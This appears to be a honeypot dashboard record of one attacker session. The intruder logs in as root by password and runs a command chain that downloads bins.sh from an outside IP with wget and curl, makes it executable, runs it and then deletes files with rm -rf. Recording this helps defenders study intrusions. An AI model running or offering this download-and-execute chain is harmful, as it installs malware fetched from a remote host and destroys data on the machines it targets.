Session `1eda4bc4...`

Back to sessions

94.154.43.230

Connected

2026-07-30 00:17:35

Disconnected

session ended

Commands

Auth

Auth Attempts

#	Username	Method	Result
1	root	none	DENY
2	root	password	ACCEPT

Commands

Time	Command	Exit
2026-07-30 00:17:50	`cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /; wget http://31.56.209.153/bins.sh; curl -O http://31.56.209.153/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf *`	0

Captured Files

Path	Method	Hash	Size	VirusTotal
`/tmp/bins.sh`	download	`c0523063...`	322	pending
`/tmp/bins.sh`	download	`c0523063...`	322	pending

Terminal Recording

root@app-01:~# cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/bins.sh; curl -O http://31.56.209.153/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf *
--2026-07-30 00:17:51--  http://31.56.209.153/bins.sh
Resolving 31.56.209.153... connected.
HTTP request sent, awaiting response... 200 OK
Length: 322 [application/x-shellscript]
Saving to: 'bins.sh'

bins.sh             [ <=>              ]   1.--KB/s    in 0.0s

2026-07-30 00:17:51 (5.43 MB/s) - 'bins.sh' saved [322]
--2026-07-30 00:17:51--  http://31.56.209.153/bins.sh
Resolving 31.56.209.153... connected.
HTTP request sent, awaiting response... 200 OK
Length: 322 [application/x-shellscript]
Saving to: 'bins.sh'

bins.sh             [ <=>              ]   1.--KB/s    in 0.0s

2026-07-30 00:17:51 (5.43 MB/s) - 'bins.sh' saved [322]

Download raw asciicast — play with asciinema play file.cast

Session 1eda4bc4...

Auth Attempts

Commands

Captured Files

Terminal Recording

Session `1eda4bc4...`